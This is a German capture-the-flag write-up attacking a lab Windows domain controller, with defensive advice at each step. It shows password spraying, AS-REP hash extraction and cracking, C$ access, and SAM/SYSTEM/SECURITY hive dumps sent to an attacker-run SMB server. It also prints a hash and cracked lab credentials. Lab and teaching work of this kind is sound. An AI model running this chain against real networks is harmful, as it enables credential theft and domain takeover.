192.168.2.117 08:00:27:76:8b:23 PCS Systemtechnik GmbH
Analyse: Der Befehl arp-scan -l
wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu entdecken. Die Ausgabe identifiziert einen Host mit der IP-Adresse 192.168.2.117
und der MAC-Adresse 08:00:27:76:8b:23
, welche Oracle (VirtualBox) zugeordnet ist.
Bewertung: Dies ist der erste Schritt zur Identifizierung des Ziels im Netzwerk. Die IP 192.168.2.117
ist unser Ziel für weitere Untersuchungen.
Empfehlung (Pentester): Die identifizierte IP-Adresse als Ziel für nachfolgende Scans (z.B. Nmap Portscan) verwenden.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, solche Scans zu erkennen. Segmentierung kann die Reichweite begrenzen.
127.0.0.1 localhost
127.0.1.1 CCat
# 192.168.2.104 animetronic.hmv
# 192.168.2.105 king.vln
# 192.168.2.106 airbinds.hmv
# 192.168.2.107 za.hmv za1.hmv
# 192.168.2.108 library.vln
# 192.168.2.109 lampiano.vln
# 192.168.2.110 infosecwarrior.vln
# 192.168.2.111 wave.hmv
# 192.168.2.112 easy.vln skymbu.info
# 192.168.2.113 metamorphose.hmv
# 192.168.2.114 dc01.hmv
# 192.168.2.115 gemini.vln
# 192.168.2.116 dobby.vln
192.168.2.117 dc02.hmv
Analyse: Die Datei /etc/hosts
auf dem Angreifer-System wird bearbeitet (vermutlich mit `vi`). Ein Eintrag wird hinzugefügt, um die IP-Adresse 192.168.2.117
dem Hostnamen dc02.hmv
zuzuordnen. Dies erleichtert die Verwendung des Hostnamens anstelle der IP-Adresse in nachfolgenden Befehlen.
Bewertung: Dies ist eine gängige Praxis, um die Lesbarkeit und Handhabung von Befehlen zu verbessern, besonders wenn Dienste wie Kerberos oder LDAP involviert sind, die oft Hostnamen erwarten.
Empfehlung (Pentester): Konsequent den definierten Hostnamen (dc02.hmv
) verwenden, wo immer möglich.
Empfehlung (Admin): Dies ist eine lokale Konfiguration auf dem Angreifer-System und hat keine direkten Auswirkungen auf das Ziel.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-09 23:22 CEST Nmap scan report for dc02.hmv (192.168.2.117) Host is up (0.00017s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-10 06:23:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49721/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:76:8B:23 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (90%), Microsoft Windows Server 2016 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 8h59m58s | smb2-time: | date: 2024-08-10T06:24:17 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_nbstat: NetBIOS name: DC01, NetBIOS user:, NetBIOS MAC: 08:00:27:76:8b:23 (Oracle VirtualBox virtual NIC) TRACEROUTE HOP RTT ADDRESS 1 0.17 ms dc02.hmv (192.168.2.117)
Analyse: Ein umfassender Nmap-Scan wird auf dem Ziel 192.168.2.117
durchgeführt.
-sC
: Standard-Skripte.-sS
: SYN-Scan.-sV
: Versionserkennung.-A
: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute).-T5
: Sehr schnelles Timing.-p-
: Alle TCP-Ports.SUPEDECDE.LCAL
identifiziert. Interessanterweise melden NetBIOS (`nbstat`) und Service Info den Hostnamen als DC01
, obwohl wir dc02.hmv
scannen. SMB-Message-Signing ist aktiviert und erforderlich (`smb2-security-mode`).
Bewertung: Dieser Scan bestätigt, dass es sich um einen Windows Domain Controller handelt. Die offenen Ports bieten zahlreiche Angriffsmöglichkeiten im AD-Kontext (LDAP-Enumeration, Kerberos-Angriffe, SMB-Enumeration/Angriffe). Die Diskrepanz im Hostnamen (DC01 vs. DC02) ist ein wichtiger Hinweis, der möglicherweise auf Konfigurationsprobleme oder eine Umbenennung hindeutet. Die SMB-Signierungspflicht schränkt einige Angriffe (z.B. unauthentifizierte Relay-Angriffe) ein, aber nicht alle.
Empfehlung (Pentester): Mit der Enumeration von Active Directory beginnen: Benutzer, Gruppen, Richtlinien über LDAP (Port 389) abfragen. Nach bekannten AD-Schwachstellen suchen (z.B. AS-REP Roasting, Kerberoasting). SMB auf mögliche Shares prüfen (authentifiziert und anonym). Den Hostnamen-Konflikt im Hinterkopf behalten.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Ports von außen erreichbar sind (dies scheint ein internes Netz zu sein, daher sind viele Ports offen). SMB-Signierung ist eine gute Sicherheitsmaßnahme. Den Hostnamen-Konflikt untersuchen und korrigieren. Clock Skew überprüfen und ggf. NTP korrekt konfigurieren. Betriebssystem und Dienste aktuell halten.
53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-10 06:23:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49721/tcp open msrpc Microsoft Windows RPC
Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe jedoch durch grep open
, um nur die Zeilen anzuzeigen, die offene Ports enthalten. Dies bietet eine kompaktere Übersicht über die Angriffsfläche.
Bewertung: Eine nützliche Methode, um die relevanten Ergebnisse eines langen Nmap-Scans schnell zu extrahieren. Bestätigt die zuvor identifizierten offenen Ports.
Empfehlung (Pentester): Diese gefilterte Liste als Referenz für die nächsten Enumerationsschritte verwenden.
Empfehlung (Admin): Keine zusätzlichen Maßnahmen erforderlich, dient der Übersicht.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False) SMB 192.168.2.117 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED SMB 192.168.2.117 445 DC01 [-] Error getting user: list index out of range SMB 192.168.2.117 445 DC01 [-] Error enumerating shares: Error occurs while reading from remote(104)
Analyse: Es wird versucht, mit `nxc` (NetExec) über SMB eine anonyme Verbindung (-u "" -p ""
) zum Ziel herzustellen und die verfügbaren Shares aufzulisten (--shares
). Der Befehl bestätigt erneut die OS-Version, den Hostnamen DC01 und die Domain SUPEDECDE.LCAL. Der Versuch, als anonymer Benutzer Shares aufzulisten, scheitert jedoch mit STATUS_ACCESS_DENIED
und nachfolgenden Fehlern.
Bewertung: Das Scheitern der anonymen Enumeration ist erwartet und eine gängige Sicherheitskonfiguration. Es bestätigt, dass für weitere SMB-Interaktionen gültige Anmeldedaten benötigt werden.
Empfehlung (Pentester): Versuchen, gültige Benutzerkonten zu finden (z.B. über LDAP-Enumeration) und anschließend Passwort-Angriffe (Spray, Brute-Force) oder andere Authentifizierungsmethoden (Kerberos-Angriffe) durchzuführen.
Empfehlung (Admin): Anonymen Zugriff auf SMB-Shares deaktivieren (ist hier bereits der Fall).
__ ____ _____ _____ | | | \| _ | _ |___ ___ _____ ___ ___ _____ | |__| | | | __| | . | | | . | | |_____|____/|__|__|__| |_|_|___|_|_|_|_|_|___|_|_|_| IN SPACE N NE CAN HEAR YU NM NM USERNAMES admin charlie Charlie administrator Admin Administrator CHARLIE ADMIN wreed11
Analyse: Das Tool `ldapnomnom` wird verwendet, um Benutzernamen im Active Directory über LDAP zu enumerieren. Es nutzt eine Technik, bei der versucht wird, Kerberos Pre-Authentication-Daten für eine Liste potenzieller Benutzernamen (aus xato-net-10-million-usernames.txt
) vom Domain Controller (dc02.hmv
) anzufordern. Wenn der DC für einen Namen eine spezifische Antwort gibt (anstatt "User not found"), wird der Name als wahrscheinlich gültig betrachtet. Die Ausgabe (und die Datei users.txt
durch tee
) zeigt eine Liste von Benutzernamen, die im AD `SUPEDECDE.LCAL` existieren könnten.
Bewertung: Dies ist ein wichtiger Schritt zur Identifizierung potenzieller Ziele für Passwortangriffe. Mehrere Benutzernamen wurden gefunden, darunter generische Namen wie `admin`, `administrator` und spezifischere wie `charlie` und `wreed11`.
Empfehlung (Pentester): Die gefundene Liste users.txt
als Input für Passwort-Spraying oder gezielte Brute-Force-Angriffe verwenden.
Empfehlung (Admin): Anonyme LDAP-Abfragen einschränken, falls möglich. Intrusion Detection Systeme können auf ungewöhnlich viele Kerberos Pre-Auth-Anfragen von einer einzelnen Quelle achten.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB 192.168.2.117 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
SMB 192.168.2.117 445 DC01 [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
SMB 192.168.2.117 445 DC01 [+] SUPEDECDE.LCAL\charlie:charlie
Analyse: Es wird ein Passwort-Spraying-Angriff mit `nxc` durchgeführt. Für jeden Benutzernamen in users.txt
(-u users.txt
) wird versucht, sich mit demselben Benutzernamen als Passwort (-p users.txt
) über SMB anzumelden. Die Option --no-brute
stellt sicher, dass nur ein Versuch pro Benutzer erfolgt (Username=Password). Die Ausgabe wird durch grep -v -i Fail
gefiltert, um nur erfolgreiche Logins anzuzeigen. Das Ergebnis zeigt einen erfolgreichen Login für den Benutzer `charlie` mit dem Passwort `charlie`.
Bewertung: Erfolg! Ein gültiges Paar aus Benutzername und Passwort (`charlie:charlie`) wurde gefunden. Dies stellt den initialen Zugriff auf das System dar. Das Passwort ist sehr schwach.
Empfehlung (Pentester): Die gefundenen Anmeldedaten (`SUPEDECDE.LCAL\charlie:charlie`) verwenden, um weitere Enumerationen durchzuführen (z.B. Shares auflisten, LDAP abfragen, Kerberos-Tickets anfordern).
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen (Komplexität, Länge, keine Benutzernamen als Passwörter). Regelmäßige Passwort-Audits durchführen. Kontosperrungsrichtlinien implementieren, um Brute-Force/Spraying zu erschweren.
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
No entries found!
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
No entries found!
Analyse: Es wird versucht, mittels `GetUserSPNs.py` von Impacket einen Kerberoasting-Angriff durchzuführen. Mit den Anmeldedaten von `charlie` wird versucht, TGS-Tickets für Benutzerkonten anzufordern, die Service Principal Names (SPNs) konfiguriert haben. Die Hashes dieser Tickets könnten offline geknackt werden. Beide Versuche (mit IP und Hostname) scheitern jedoch mit der Meldung "No entries found!".
Bewertung: Entweder hat der Benutzer `charlie` nicht die notwendigen Rechte, um diese Informationen abzufragen, oder es gibt keine Benutzerkonten (außer Computerkonten) mit konfigurierten SPNs in dieser Domain, die für Kerberoasting anfällig wären.
Empfehlung (Pentester): Andere Angriffsvektoren verfolgen, z.B. AS-REP Roasting oder weitere LDAP/SMB-Enumeration mit den `charlie`-Credentials.
Empfehlung (Admin): Prinzip der geringsten Rechte anwenden. SPNs nur für Service-Konten setzen, die sie benötigen, und starke Passwörter für diese Konten verwenden.
Impacket v0.12.0.dev1 - Copyright 2023 Fortra Name MemberOf PasswordLastSet LastLogon UAC ---------- ------------------------------------------------------ -------------------------- -------------------------- -------- zximena448 CN=Backup Operators,CN=Builtin,DC=SUPEDECDE,DC=LCAL 2024-06-17 20:09:53.417046 2024-07-06 01:51:16.071116 0x410200 $krb5asrep$23$zximena448@SUPEDECDE.LCAL:870e37d09b978c1600f0e403f58cb2a7$dad7bb6e5ab538bed4acf06331d4569b0f88f416fa418efc2f60f872f2302b355fd45d9f47b68c5d820950ffabd4b6a8795293bee4131d60a3d0ae302597124f40db454355f31f3ee47c5fc66c7efc7e5b97c99fd9ab06dea930c9f70a909fb2d31a73f1676eec077d46504145c53e48a3e90a02fd6884eba21531c6ce05fa2f8109f9fc4b5380e6931ba19a610928e5b7858dd46defe0511a5271c9c721b2cacb187e838d70c56b24de3cf9190caa7c172f6faab9cb8b394fb9aadd16af3644cc2892db67467d2ae75f41a25a22cca44b23732ac172de35d042ad511dda40d5fe5aca1660a41173bc4086e8513c34df194e5aa723e3
Analyse: Nun wird `GetNPUsers.py` verwendet, um einen AS-REP Roasting Angriff zu versuchen. Mit den `charlie`-Credentials wird nach Benutzern gesucht, bei denen die Kerberos Pre-Authentication deaktiviert ist (UAC-Flag `DONT_REQ_PREAUTH`). Für solche Benutzer kann ein Angreifer einen AS-REP-Hash anfordern, der offline geknackt werden kann. Der Befehl findet den Benutzer `zximena448` (Mitglied der Gruppe `Backup Operators`) und gibt erfolgreich dessen AS-REP-Hash (Format `$krb5asrep$23$...`) aus. Der UAC-Wert `0x410200` enthält das Flag `DONT_REQ_PREAUTH`.
Bewertung: Kritischer Fund! Ein Hash wurde für den Benutzer `zximena448` erhalten. Da dieser Benutzer Mitglied der `Backup Operators` ist, könnte ein erfolgreiches Knacken des Passworts signifikante Berechtigungen im System gewähren.
Empfehlung (Pentester): Den erhaltenen Hash in die Datei asrep.hashcat
speichern (wurde durch -outputfile
erledigt) und versuchen, ihn mit einem Tool wie Hashcat und einer Wortliste zu knacken.
Empfehlung (Admin): Die Einstellung "Do not require Kerberos preauthentication" sollte nur in absoluten Ausnahmefällen aktiviert werden. Regelmäßig AD-Konten auf dieses Flag überprüfen und es deaktivieren, wo immer möglich. Die Mitgliedschaft in privilegierten Gruppen wie `Backup Operators` genau überwachen.
hashcat (v6.2.6) starting [...] Dictionary cache built: Filename..: /usr/share/wordlists/rockyou.txt Passwords.: 14344474 Bytes.....: 139922945 Keyspace..: 14344467 Runtime...: 0 secs $krb5asrep$23$zximena448@SUPEDECDE.LCAL:870e37d09b978c1600f0e403f58cb2a7$...:internet Ergebnis = zximena448:internet Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$zximena448@SUPEDECDE.LCAL:870e37d0...a723e3 Time.Started.....: Fri Aug 9 23:46:35 2024 (0 secs) Time.Estimated...: Fri Aug 9 23:46:35 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 360.4 kH/s (1.83ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 16384/14344467 (0.11%) Rejected.........: 0/16384 (0.00%) Restore.Point....: 0/14344467 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: R3v_m4lwh3r3_k1nG!! -> seven77 Hardware.Mon.#1..: Util: 6% Started: Fri Aug 9 23:46:16 2024 Stopped: Fri Aug 9 23:46:36 2024
Analyse: Hashcat wird verwendet, um den in asrep.hashcat
gespeicherten AS-REP-Hash zu knacken.
-m 18200
: Spezifiziert den Hash-Typ als Kerberos 5 AS-REP (etype 23).asrep.hashcat
: Die Datei mit dem Hash./usr/share/wordlists/rockyou.txt
: Die verwendete Passwortliste.Bewertung: Großartig! Das Passwort für den Benutzer `zximena448` wurde erfolgreich geknackt. Da dieser Benutzer Mitglied der `Backup Operators` ist, haben wir nun wahrscheinlich erhebliche Privilegien im System erlangt.
Empfehlung (Pentester): Die neuen Anmeldedaten (`SUPEDECDE.LCAL\zximena448:internet`) verwenden, um sich anzumelden und die erweiterten Rechte auszunutzen. Insbesondere prüfen, ob Lesezugriff auf sensitive Bereiche wie das C$-Laufwerk oder die Möglichkeit zum Auslesen von Registry Hives besteht.
Empfehlung (Admin): Erneut: Starke Passwortrichtlinien durchsetzen und die Verwendung von `DONT_REQ_PREAUTH` vermeiden. Die Rechte der `Backup Operators`-Gruppe überprüfen und einschränken, falls möglich.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB 192.168.2.117 445 DC01 [+] SUPEDECDE.LCAL\zximena448:internet
Analyse: Die frisch geknackten Anmeldedaten für `zximena448` werden mit `nxc` getestet. Der Login ist erfolgreich.
Bewertung: Bestätigt die Korrektheit des geknackten Passworts und die Gültigkeit des Accounts.
Empfehlung (Pentester): Mit diesen Credentials nun weitere Aktionen durchführen, z.B. Shares auflisten.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False) SMB 192.168.2.117 445 DC01 [+] SUPEDECDE.LCAL\zximena448:internet SMB 192.168.2.117 445 DC01 [] Enumerated shares SMB 192.168.2.117 445 DC01 Share Permissions Remark SMB 192.168.2.117 445 DC01 ----- ----------- ------ SMB 192.168.2.117 445 DC01 ADMIN$ READ Remote Admin SMB 192.168.2.117 445 DC01 C$ READ,WRITE Default share SMB 192.168.2.117 445 DC01 IPC$ READ Remote IPC SMB 192.168.2.117 445 DC01 NETLOGON READ Logon server share SMB 192.168.2.117 445 DC01 SYSVOL READ Logon server share
Analyse: Mit den `zximena448`-Credentials werden nun die SMB-Shares aufgelistet. Im Gegensatz zum anonymen Versuch ist dies nun erfolgreich. Der Benutzer hat Lesezugriff auf `ADMIN$`, `IPC$`, `NETLOGON`, `SYSVOL` und sogar Lese-/Schreibzugriff auf `C$`.
Bewertung: Der Zugriff auf `C$` mit Lese- und Schreibrechten ist ein signifikanter Schritt. Dies bestätigt die hohen Privilegien des `zximena448`-Kontos (wahrscheinlich durch die Mitgliedschaft in `Backup Operators`).
Empfehlung (Pentester): Den `C$`-Share mounten oder mit `smbclient` verbinden, um das Dateisystem zu durchsuchen, nach sensiblen Daten oder dem User-Flag zu suchen und potenziell die Registry Hives (SAM, SYSTEM, SECURITY) zu extrahieren.
Empfehlung (Admin): Die Berechtigungen auf Admin-Shares wie `C$` und `ADMIN$` streng kontrollieren. Die Notwendigkeit der Mitgliedschaft in `Backup Operators` für diesen Benutzer überprüfen.
Try "help" to get a list of possible commands. smb: \> ls $WinREAgent DH 0 Sat Jun 15 21:19:51 2024 Documents and Settings DHSrn 0 Sun Jun 16 04:51:08 2024 DumpStack.log.tmp AHS 12288 Sat Aug 10 08:21:08 2024 pagefile.sys AHS 1476395008 Sat Aug 10 08:21:08 2024 PerfLogs D 0 Sat May 8 10:15:05 2021 Program Files DR 0 Sat Jun 15 19:54:31 2024 Program Files (x86) D 0 Sat May 8 11:34:13 2021 ProgramData DHn 0 Sun Jun 16 04:51:08 2024 Recovery DHSn 0 Sun Jun 16 04:51:08 2024 System Volume Information DHS 0 Sat Jun 15 21:02:21 2024 Users DR 0 Mon Jun 17 20:31:08 2024 Windows D 0 Sat Jun 15 21:21:10 2024 12942591 blocks of size 4096. 10812947 blocks available smb: \> cd Users\zximena448\Desktop\ smb: \Users\zximena448\Desktop\> ls . DR 0 Mon Jun 17 20:31:24 2024 .. D 0 Mon Jun 17 20:30:22 2024 desktop.ini AHS 282 Mon Jun 17 20:30:22 2024 user.txt A 33 Wed Jun 12 22:01:30 2024 12942591 blocks of size 4096. 10812871 blocks available smb: \Users\zximena448\Desktop\> get user.txt getting file \Users\zximena448\Desktop\user.txt of size 33 as user.txt (4,0 KiloBytes/sec) (average 4,0 KiloBytes/sec) smb: \> cd Users\Administrator\ smb: \Users\Administrator\> ls NT_STATUS_ACCESS_DENIED listing \Users\Administrator\
Analyse: Mit `smbclient` wird eine Verbindung zum `C$`-Share des Ziels unter Verwendung der `zximena448`-Credentials hergestellt. Das Stammverzeichnis wird aufgelistet. Anschließend wird in das Desktop-Verzeichnis des Benutzers `zximena448` navigiert (`cd Users\zximena448\Desktop\`), wo die Datei `user.txt` gefunden wird. Diese wird erfolgreich heruntergeladen (`get user.txt`). Der Versuch, in das Verzeichnis des Administrators zu wechseln, scheitert mit `NT_STATUS_ACCESS_DENIED`.
Bewertung: Der User-Flag wurde gefunden und heruntergeladen. Obwohl der Benutzer hohe Rechte hat (Zugriff auf C$), reichen diese nicht aus, um direkt auf das Administrator-Profil zuzugreifen.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen `user.txt` anzeigen. Die Privilegien des `zximena448`-Kontos nutzen, um möglicherweise die Registry Hives zu extrahieren oder andere Methoden zur Eskalation zum Domain Admin zu finden.
Empfehlung (Admin): NTFS-Berechtigungen auch innerhalb von Admin-Shares überprüfen, um das Prinzip der geringsten Rechte anzuwenden.
2fe79eb0e02ecd4dd2833cfcbbdb504c
Analyse: Der Inhalt der heruntergeladenen Datei `user.txt` wird angezeigt.
Bewertung: Der User-Flag wurde erfolgreich extrahiert.
Empfehlung (Pentester): User-Flag dokumentieren. Fokus auf die Eskalation zum Domain Admin legen.
Empfehlung (Admin): Keine Maßnahmen bezüglich des Flags erforderlich.
[] Connecting to host... [] Binding to host [+] Bind OK [] Starting domain dump [+] Domain dump finished
Analyse: Das Tool `ldapdomaindump` wird verwendet, um mithilfe der `zximena448`-Credentials Informationen über die Active Directory-Domäne über LDAP zu sammeln. Das Tool stellt erfolgreich eine Verbindung her und schließt den Dump ab. Es erstellt mehrere Dateien mit Informationen über Benutzer, Gruppen, Computer, Richtlinien etc.
Bewertung: Dies liefert eine Fülle von Informationen über die AD-Struktur, die für weitere Angriffe nützlich sein können, auch wenn wir bereits privilegierte Zugangsdaten haben. Es kann helfen, Beziehungen zwischen Objekten, Gruppenmitgliedschaften und Konfigurationen zu verstehen.
Empfehlung (Pentester): Die generierten Dump-Dateien (insbesondere `domain_users.json`, `domain_groups.json`) analysieren, um ein besseres Verständnis der Domäne zu erhalten und potenzielle weitere Angriffsziele oder Fehlkonfigurationen zu identifizieren.
Empfehlung (Admin): Den LDAP-Zugriff überwachen. Sicherstellen, dass Benutzer nur die Informationen abfragen können, die sie benötigen.
insgesamt 4128 -rw-r--r-- 1 root root 29016 9. Aug 23:56 domain_computers_by_os.html -rw-r--r-- 1 root root 12399 9. Aug 23:56 domain_computers.grep -rw-r--r-- 1 root root 28694 9. Aug 23:56 domain_computers.html -rw-r--r-- 1 root root 212790 9. Aug 23:56 domain_computers.json -rw-r--r-- 1 root root 10182 9. Aug 23:56 domain_groups.grep -rw-r--r-- 1 root root 17142 9. Aug 23:56 domain_groups.html -rw-r--r-- 1 root root 79554 9. Aug 23:56 domain_groups.json -rw-r--r-- 1 root root 247 9. Aug 23:56 domain_policy.grep -rw-r--r-- 1 root root 1143 9. Aug 23:56 domain_policy.html -rw-r--r-- 1 root root 5255 9. Aug 23:56 domain_policy.json -rw-r--r-- 1 root root 71 9. Aug 23:56 domain_trusts.grep -rw-r--r-- 1 root root 828 9. Aug 23:56 domain_trusts.html -rw-r--r-- 1 root root 2 9. Aug 23:56 domain_trusts.json -rw-r--r-- 1 root root 336005 9. Aug 23:56 domain_users_by_group.html -rw-r--r-- 1 root root 226805 9. Aug 23:56 domain_users.grep -rw-r--r-- 1 root root 471611 9. Aug 23:56 domain_users.html -rw-r--r-- 1 root root 2742431 9. Aug 23:56 domain_users.json
[{ "attributes": { "accountExpires": [ "9999-12-31 23:59:59.999999+00:00" ], "badPasswordTime": [ "1601-01-01 00:00:00+00:00" ], "badPwdCount": [ 0 ], "cn": [ "Paula Felix" ], "codePage": [ 0 ], "company": [ "CompanyB" ], "countryCode": [ 0 ], "dSCorePropagationData": [ "1601-01-01 00:00:00+00:00" ], "department": [ "Engineering" ], "description": [ "Avid traveler and photography enthusiast" ... ...
Analyse: Die durch `ldapdomaindump` erzeugten Dateien werden in ein neues Verzeichnis `dom` verschoben und aufgelistet. Ein Ausschnitt der `domain_users.json` wird angezeigt, um die Art der gesammelten Informationen zu demonstrieren (Benutzerattribute wie Name, Abteilung, Beschreibung etc.).
Bewertung: Dies dient der Organisation und zeigt die Detailtiefe der LDAP-Informationen.
Empfehlung (Pentester): Die Dump-Dateien systematisch nach Hinweisen für die Privilegieneskalation durchsuchen (z.B. interessante Gruppenmitgliedschaften, Beschreibungen mit Passworthinweisen, verwaiste Konten).
Empfehlung (Admin): Überprüfen, welche Attribute über LDAP auslesbar sind und ob dies eingeschränkt werden sollte.
Analyse: Der nächste Schritt zielt darauf ab, die SAM-, SYSTEM- und SECURITY-Registry-Hives vom Domain Controller zu extrahieren. Da der Benutzer `zximena448` Mitglied der `Backup Operators` ist und Lese-/Schreibzugriff auf `C$` hat, ist es wahrscheinlich, dass er auch die notwendigen Rechte hat, um auf die Registry zuzugreifen oder die RemoteRegistry-Dienst zu nutzen. Um die Hives zu empfangen, wird auf der Angreifer-Maschine ein SMB-Server gestartet.
/usr/lib/python3/dist-packages/impacket/smbserver.py /usr/lib/python3/dist-packages/scapy/layers/smbserver.py /usr/share/doc/python3-impacket/examples/smbserver.py
Impacket v0.12.0.dev1 - Copyright 2023 Fortra [] Config file parsed [] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [] Config file parsed [] Config file parsed [] Config file parsed [] Config file parsed
Analyse: Das Impacket-Skript `smbserver.py` wird lokalisiert, in das aktuelle Verzeichnis kopiert und ausgeführt. Es startet einen SMB-Server auf der Angreifer-Maschine, der das aktuelle Verzeichnis (`.`) unter dem Share-Namen `share` freigibt. Die Option `-smb2support` aktiviert SMBv2/3-Unterstützung.
Bewertung: Der SMB-Server auf der Angreifer-Maschine ist nun bereit, Dateien zu empfangen, die vom Zielsystem dorthin geschrieben werden.
Empfehlung (Pentester): Diesen SMB-Server im Hintergrund laufen lassen, während die Registry Hives vom Zielsystem extrahiert werden.
Empfehlung (Admin): Ausgehende SMB-Verbindungen vom DC zu unbekannten Hosts im Netzwerk blockieren.
/usr/lib/python3.11/copyreg.py /usr/lib/python3.11/xml/dom/domreg.py /usr/lib/python3.12/copyreg.py /usr/lib/python3.12/xml/dom/domreg.py /usr/local/lib/python3.11/dist-packages/future/moves/copyreg.py /usr/local/lib/python3.11/dist-packages/future/moves/winreg.py /usr/share/creddump7/framework/win32/rawreg.py /usr/share/doc/python3-impacket/examples/reg.py /usr/share/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/copy_reg.py /usr/share/ghidra/Ghidra/Features/Python/data/jython-2.7.3/Lib/xml/dom/domreg.py
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
[] Saved HKLM\SAM to \\192.168.2.199\share\SAM.save
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
[] Saved HKLM\SYSTEM to \\192.168.0.51\share\SYSTEM.save
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Cannot check RemoteRegistry status. Hoping it is started...
[] Saved HKLM\SECURITY to \\192.168.0.51\share\SECURITY.save
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[-] Couldn't save HKLM\SAM: RRPSessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found
Analyse: Das Impacket-Skript `reg.py` wird lokalisiert, kopiert und verwendet, um eine Verbindung zum Remote-Registry-Dienst des Ziels herzustellen. Mit den `zximena448`-Credentials werden die SAM-, SYSTEM- und SECURITY-Hives aus `HKEY_LOCAL_MACHINE` (HKLM) extrahiert und auf dem SMB-Share der Angreifer-Maschine (`\\\\192.168.2.199\\share`) gespeichert. Die Ausgaben zeigen, dass der Status des RemoteRegistry-Dienstes nicht geprüft werden kann, das Skript aber trotzdem versucht fortzufahren. Die Hives werden scheinbar erfolgreich gespeichert (trotz der inkonsistenten IP 192.168.0.51 in einigen Ausgaben des Originaltextes). Ein späterer Versuch mit einem anderen Zielpfad (`dom\\share`) scheitert mit `ERROR_BAD_NETPATH`.
